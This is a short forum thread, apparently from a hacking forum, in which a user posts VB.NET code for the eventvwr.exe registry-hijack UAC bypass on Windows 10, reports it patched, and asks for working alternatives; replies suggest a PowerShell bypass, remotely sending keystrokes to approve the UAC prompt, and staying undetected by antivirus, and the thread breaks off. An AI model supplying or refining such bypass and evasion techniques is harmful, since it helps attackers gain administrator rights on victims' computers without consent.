Thread: [VB.NET UAC bypass windows 10 update](#)

proxyhacker09 - May 23, 2019, 10:57 am

hello guys i'm new here so i'm having an issue here so since the last update on windows 10 this method to bypass UAC on win10 don't work anymore

```
Code Public Sub Bypass_UAC(ByVal filepath As String)
    Using regkey As RegistryKey =
        Registry.CurrentUser.CreateSubKey("Software\Classes\mscfile\shell\open\command")
        regkey.SetValue("", filepath, RegistryValueKind.String)
    End Using
    Process.Start("eventvwr.exe")
End Sub
```

so im looking for any other method that works can anyone help please

Powershell has a uac bypass that pretty simple it's not the cleanest but it work fine or you could just remotely send(ctrl+y)

At prompt lol (correct me If I'm wrong if it's not ctrl btw) I'll get and and make a demo but you can probably kids FUD on runtime away unless you use the powershell method or something sneaky that sends the ctrl+y to install approve the uac pop up then have a check for admin rights

AMGTech - November 6, 2019, 10:51 am

that method patched!!

you can try this 1, you will need to convert
